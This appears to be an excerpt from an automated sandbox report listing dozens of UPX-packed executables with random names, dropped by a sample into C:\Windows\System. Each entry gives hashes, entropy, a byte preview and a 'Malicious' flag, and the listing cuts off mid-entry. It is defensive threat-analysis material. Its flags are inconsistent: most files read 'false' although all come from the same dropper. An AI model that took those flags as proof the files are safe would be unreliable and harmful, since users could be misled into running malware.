SHA-512:	33E2C6F0872254B63C7312732D91AADEEC7A7AE4571EA09505A8832EEF1B8E08E1C70BD9AC1E8B9365C0E50C02F77E62941DC3A72BE636A49B89FA00CA65D6B3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\eaXsKmO.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1304223
Entropy (8bit):	7.232817664759234
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG73H:Lz071uv4BPMkibTIA5JnJ1V
MD5:	6023F7F4E226125B4145D59E6B890E7F
SHA1:	34DF108B9D6D1955D534E6F06C79D113B94AFC5B
SHA-256:	24343D5FE2D43A93A73D79993A475315F642556463239FA630C6CD4D1FBD976C
SHA-512:	6F3D6BC46A6DAD3AD95F537BA7C1F6AE4E9CA22F59505F4B30CEEAB43DFB9986CEE2A830CAE1D38243E0B71849378E9CF0335B0D8CEB2D29EE9C65BF3D1A1985
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fEOJwwW.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1288537
Entropy (8bit):	7.244350338559921
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7F7:Lz071uv4BPMkibTIA5JnJ1v
MD5:	7B791D9D0E5452013AB17799085F6E2C
SHA1:	4EAEBB777A0F921C005BE30140A794247A8477A2
SHA-256:	AA327270BD53AE51F09B20F1C0EE307EE14AF98B3DEED0C0D89BB5FCD03E614F
SHA-512:	27ABCA805D56716003FD161893ADCA9709378E8ADC26403A1AFBB717F3550DB04430D607870AE96FDD8CC3D8186D0A4C107B00719617576503A86D54DB8EAFBD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fIqTNJz.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1323957
Entropy (8bit):	7.218565529636686
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7LFo:Lz071uv4BPMkibTIA5JnJ1ZFo
MD5:	41B51180333043B59EDC7F09C659AF13
SHA1:	9AF6C1338B009E69B69ED5902C52A0402C973B1B
SHA-256:	AF4359178ABB56AB970EF17E141F10EBF97740DEB3F1B9D170C1A57DF9A2B476
SHA-512:	E576A04FDA3978CDB968A18BA8ACD95CAC1F97BADCF058FC47B30492F05379230D8D3B97BFE2A558C9B5A895403FC4F8FFF10597F99BE4F254E0F98A4866C21F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fWWVlTg.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1275128
Entropy (8bit):	7.254325148786946
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7e:Lz071uv4BPMkibTIA5JnJ10
MD5:	54DA9008AC5869AE28A741EEC6B8EAA6
SHA1:	703315F5C593495598538F9503C5F48DBED0D7E1
SHA-256:	8052233377F1EE2F5688577029080A652A3BA7EF65EA9D062CE2A80EA7FB47DE
SHA-512:	8F17CFA7C544EEAFD457894E24E494114F2CD232F213298A35F641D294F3B01D5BFB4240973EDFF07FE8D18AA3D207FDF1B89FE5F6E04F879E6E839BEE7F9A01
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fXSZuyj.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1276899
Entropy (8bit):	7.2530041792457345
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7h:Lz071uv4BPMkibTIA5JnJ1H
MD5:	635C43AF764095CE4DC24E6A1D061A25
SHA1:	60FD58553357285E2FFA28CD20B3786723E7D91B
SHA-256:	A93136B2BEEC5D44C663EE93B780F2E96D2BD94185D3E505D3BEA512C7763167
SHA-512:	F3DED4D67E93CA62C92CC8B17CF5E01F64321103161AB11872FF92AF82AA8C04C3960A2C4239E0354C729122A3D187C4A595DAA3DF904BFE9DBCCB9CE8E39F20
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fYMwhpS.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1315861
Entropy (8bit):	7.224374776991854
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7No7:Lz071uv4BPMkibTIA5JnJ1O
MD5:	69C799E3C5BE6AC0E54A3D94A695E439
SHA1:	4DA9E1FFB9FECDB938FF43C8C92CBCAFC9B16B40
SHA-256:	539DB5EFE32F14EDCB6F185CEB12BC9D650E4FB910D369EC2D44E407229D8A49
SHA-512:	14119C26E2E227B0EFEE45E015BEBE7F00000A89F6831A82EA44AD6546ED1A7CDCC12ACAC25E3B99A508067851880D450096F4DA603A080DBCC3D2FC2A5BA3EA
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ffPPQcz.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1294356
Entropy (8bit):	7.240045339652747
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7w1p:Lz071uv4BPMkibTIA5JnJ1OD
MD5:	01973F07317C7B31FB02F01C9457B6FB
SHA1:	0EC67DB034CC18508FDB7BD1B53B601CFDC38778
SHA-256:	904AB5F8B04BB6700E3FCA4980992A77E99A585611F1A4A5220F03D89D8C7B97
SHA-512:	BC95ABA5BB50504D36C4CD3EE20C933DB17AEACA1CF8353A342260C234D5BD828D7B9BB10E60216886D364D857BF9754772BB37C6965A9F3C133543B59C6101B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fhxlOMT.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1336860
Entropy (8bit):	7.209387878863844
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7thg:Lz071uv4BPMkibTIA5JnJ1v6
MD5:	FC3EBDAFF2A0A138AD31F943E2A99ABF
SHA1:	E4C54B73077FE68F846BD861FA5A6CF146EC550C
SHA-256:	B95DE71B5E14714B18583DF1C6EA455CB349D4A616928AAEDA3AAA4D49B49328
SHA-512:	D097B682C863072FE5B22E17D2161E2599BA3332E3C27E6CE14BD868BE8FC3E737824CE68BDDE82310939E30B54B77F4E59273393FF58BBC562B28BAB3536A32
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fpHmIIc.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1269056
Entropy (8bit):	7.25889736820714
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG73c:Lz071uv4BPMkibTIA5JnJ1G
MD5:	6D622A4BDBDE6EE17C48CE702C5D6275
SHA1:	EE4CC2069CD0719CEDC8351F466E4E0B9C91688A
SHA-256:	1CB767610573A62DD409696252AC15822A836381F7984A7EF0EADA0484B4E063
SHA-512:	8487B1595C3F6815D26A0BB3473A951E6206FC1983D2FCEB20317D691E9F662F6E88F9A47B1E7ADFD3180C33D6E8D4B28D8207996F0A6822AC9D6F971EEE6FB1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ftWkAMN.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1314849
Entropy (8bit):	7.225108891071411
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7m+:Lz071uv4BPMkibTIA5JnJ1B
MD5:	0FB53716572CD48710C77BDCD8AA1242
SHA1:	4A932EE4B84DBBF5284D0EED6D81B3932C292B54
SHA-256:	5EE552D50F5488B1DEF4B388C15E409AC72F9A21B03995747B6BFFF507BA3DED
SHA-512:	246130DA093E6B2D7F9F0EF1D0FE52C6C467EAB66A7C9506E8F778AF1B01AF19B62BBEA7FDC372682434037EB858A77E7616C551E05D1C7651BA968E1D0E6577
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fyffsXe.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1286260
Entropy (8bit):	7.246012690944217
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG71kg:Lz071uv4BPMkibTIA5JnJ19
MD5:	D2939E8E551D62CF6E96B65A55460C1F
SHA1:	3CCF224F1E8267ECE9F0CFDE901BED9C3EABF48F
SHA-256:	949F2227985A1BF4311DA0BAB0640216EB2A49848C957135F4C5B6F664DC456F
SHA-512:	02CD09159EB352732DA2E27BE7E951BE899476A98072A98672DD4DA558921E2A84B6B098D66A606DAB56C042697F5C83CE4F3E2B86A2C3E1625E0C776368BE05
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\fylerHE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1300934
Entropy (8bit):	7.235218006053821
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7U:Lz071uv4BPMkibTIA5JnJ1i
MD5:	A301A976CB8D867339BDA17C7F1168D2
SHA1:	42BB74EEE01C24845C8EDA53ADB6B58840C7B767
SHA-256:	4397E32D6192FD3E6D0B00DCE77D0059ED6781004C3D97810B58A105C44FDC79
SHA-512:	FBD34D5A7FA0D68D05805BCB97661AEA541587734A61AF27C9639DC2DF90EEF5FBCCD2E03BD835E136F8C5FC80655543DA3E51C4F1338EB100FD9FC7978BEEA7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\gAPrxpM.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1293597
Entropy (8bit):	7.240602144718197
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG754:Lz071uv4BPMkibTIA5JnJ1c
MD5:	D0765B8729BA72BA8C3DD75259521B38
SHA1:	D9279A7CB085E9914ED1B7B58587973F1DECC309
SHA-256:	747C2ABAA578BC8E7E108AEA2BDF0A8ED7B838A240E04A6A82A805E009CE1241
SHA-512:	4121F4E6918F9C16C88B6907CE523B7076EB984B4C468583BF8A6591BB6752EC1C894C980D6D3D134FDC10C69AF5B7C7FCC80EE974BE3CA7F9EE4EE2806C3B0E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\gCZFmUf.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1310042
Entropy (8bit):	7.228589215218713
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7ELV:Lz071uv4BPMkibTIA5JnJ12
MD5:	60AE0D783306AD83B9CC2EB211D68D54
SHA1:	757AFE638D3D22FFB68E8A0E4C3E3618AC45A630
SHA-256:	2002B152CD6393501C3FF9635F2D99094288E5557AB7BAD5481CBE95724EC02D
SHA-512:	4D0C0AAB5F36A297BDAF0A87AEE84D4373AD39EF7BCFD559ADF8061672E9616B0293047B450BFC47150891FBA596512E6A50B2EFBF1FC11657F119D5674F058B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\gKbbPbF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1293091
Entropy (8bit):	7.24098274137037
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7O:Lz071uv4BPMkibTIA5JnJ1E
MD5:	B4D0BD0481D55F7C1DE46207D81AB0BC
SHA1:	8081332368B1DFB546DBCB7F4AE40C8486DA7102
SHA-256:	8BD0B3D572AE291945A98648AC8E6FB8B084A19672ADA50C5B89BEB2B9DB26F3
SHA-512:	81E7AACB1E3AC3B0136D43D63E062678F13CF9F187F613696DADD46A376D35AFA70755B0021BDB96086F7589D3E7A443133779C547D9A315155B4DD7DC99A12D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\gPTriDK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1337872
Entropy (8bit):	7.208666288769898
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7L:Lz071uv4BPMkibTIA5JnJ1J
MD5:	E057444096CE744BD6229BB402198CD2
SHA1:	4A6E88B6BEE1646F369AB880DD7889E5F2959173
SHA-256:	CCC0843888CFBFAF633561E0AA5F66BC248F0A4E64D32687E1F84D1B2064F1CF
SHA-512:	0AB26AAEECD8C08F83A3918DF8DF7DF7DF9DE7E0102963922E6802B254AFF9496E095B3F3A81AF561DF4AD72ED2A36A99E1E1F6870955A20D228F46AF2CD6554
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\gQbnwXn.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1328764
Entropy (8bit):	7.215121656690089
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7KyqJL:Lz071uv4BPMkibTIA5JnJ18
MD5:	FF563C7003505E595A5EFCFAC98CE1F0
SHA1:	9A38A1B0BC07A61A2785D2B1EEF76E7ED755C3DE
SHA-256:	461C9E14EBAF100202CC9E1751BA73BE7847A177D5AC51149682CFE82D4130B9
SHA-512:	8B35E8BD3B1991990F49EDEB92686794BBBE5A44028E5A2EAEAA0D11C411189E32E0459F37A0A8ADCAD34AC6EE6A2E864E7E767D68B556856248E0C2DA4DE738
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\gXwIlxx.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1323451
Entropy (8bit):	7.218929021990908
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7kd:Lz071uv4BPMkibTIA5JnJ1e
MD5:	43C379485334A98DAE7077D335B52C40
SHA1:	303AAAE1777F2C0D353CC79B043CF16CFC49F8ED
SHA-256:	DE38E38DA4DF28965EE97A4EBE75CC4B5E98AEA743DE125B2B9210D487057B4F
SHA-512:	3754D83773C1DD9A96FDAAF685BEA1E502D39559B987DDAB4382A3FBE22A321468798BE67AB0805A0BC5BF4E1CC0CC81BCC593021166FB45605CFAC13C3589E1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\geBTNDq.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339896
Entropy (8bit):	7.207255591395411
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7uE:Lz071uv4BPMkibTIA5JnJ1V
MD5:	12AD95166F80DE6E39775A1245D699BD
SHA1:	5BB6C6FABF2840BD8C299D363CFB0EB224997113
SHA-256:	56F9A514FB0C21076C0ED809CDE911AE0780F3FD26E39191D9FBF4F537AAD35D
SHA-512:	8F6921581B6AA1484AC6B40A364295637014C65A61923C12209D10101488E3117F26333B3E7B01B6F67851E063FEA95476FC4E0E1E50226EA1B2463164847874
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\ghXRScL.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1354064
Entropy (8bit):	7.197324922766788
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7xX/:Lz071uv4BPMkibTIA5JnJ17/
MD5:	2077D040DEA7E96F164D318D875A5758
SHA1:	FA20A3DCC7D502BFFD7E2EEAE04D5489E705044A
SHA-256:	CA6EF67BACD670D6DB424D74F15DDCA702E602F9C7B91648ADA3A423D870991B
SHA-512:	29AC1884B62B07DC9E874C55331175D740915FD6201A37D3944C6E95BFF344FE7CA839E412968141667546B19904F10771F43C937AEF0DAF0EAF2E568239F211
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\glgdLrR.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1295621
Entropy (8bit):	7.239115126356909
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7U:Lz071uv4BPMkibTIA5JnJ1S
MD5:	56F462378D7023D6C55CC21B9EB80A4F
SHA1:	C4B09AFDF073B12D769709F3D910B7DF1A819FBE
SHA-256:	DDC8EF1E41575A02211B8D00F54922D288AB37B7124EA549DD9D72D42DF33A67
SHA-512:	A14A1D783D017C43A413B2BA49FA3DCF94A3AA921C8E7E78ABB8BD880304E48A4803C0A87C6DE9C79320EF50CC8A5BF4D0FC6BA2D71CDB2145066429A642767C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\hAOVVjq.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1266273
Entropy (8bit):	7.26100002313468
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7N:Lz071uv4BPMkibTIA5JnJ13
MD5:	2C095A204073412D9C45F3AD251BEF8D
SHA1:	A01163DF94709AF67F556F15E3DBC48427BA66AE
SHA-256:	4712C44A77E6D3E674F08F5F0723ECE7136FBBE2E46D4E0A37A261EF8ADC83A1
SHA-512:	55BFE06F729785D68CBB8B5AFE462D94FBC65733ECE291B37FEBFC08739F4CA9BE6C9277C973DB829890BAFFBBF8F4861BDBAA2E31C7E6238611CF03020C76FF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........a.a.a....a....a....fa.>.&..a.(..a.(..a.(..0a...a......a.a...`...a....a.....a.av..a...a.Rich.a.........PE..d.....p].........."......@........6...>...6....@............................. ?...........`...................................................?.@.....?.......=.,.............?.............................h.?.(.....?.............................................UPX0......6.............................UPX1.....@....6..4..................@....rsrc.........?......8..............@......................................................................................................................................................................................................................................................................................................................................3.96.UPX!.$..

C:\Windows\System\hAjIjRa.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1283983
Entropy (8bit):	7.247722608357656
Encrypted:	false
SSDEEP:	24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7l/b:Lz071uv4BPMkibTIA5JnJ1Xz
MD5:	8AA057DDDCEB2D2A82493364F9A607D9
SHA1:	152C661D93525DFE3B330AB14E04DD6D09ACF84A
SHA-256:	0E8799308BF53FD3DE3A0046CF0E547EDC09BC9CBE09D2E228F605AB6960CE64
